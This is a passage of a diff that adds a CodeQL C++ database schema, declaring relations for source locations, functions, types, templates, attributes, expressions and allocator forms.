+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
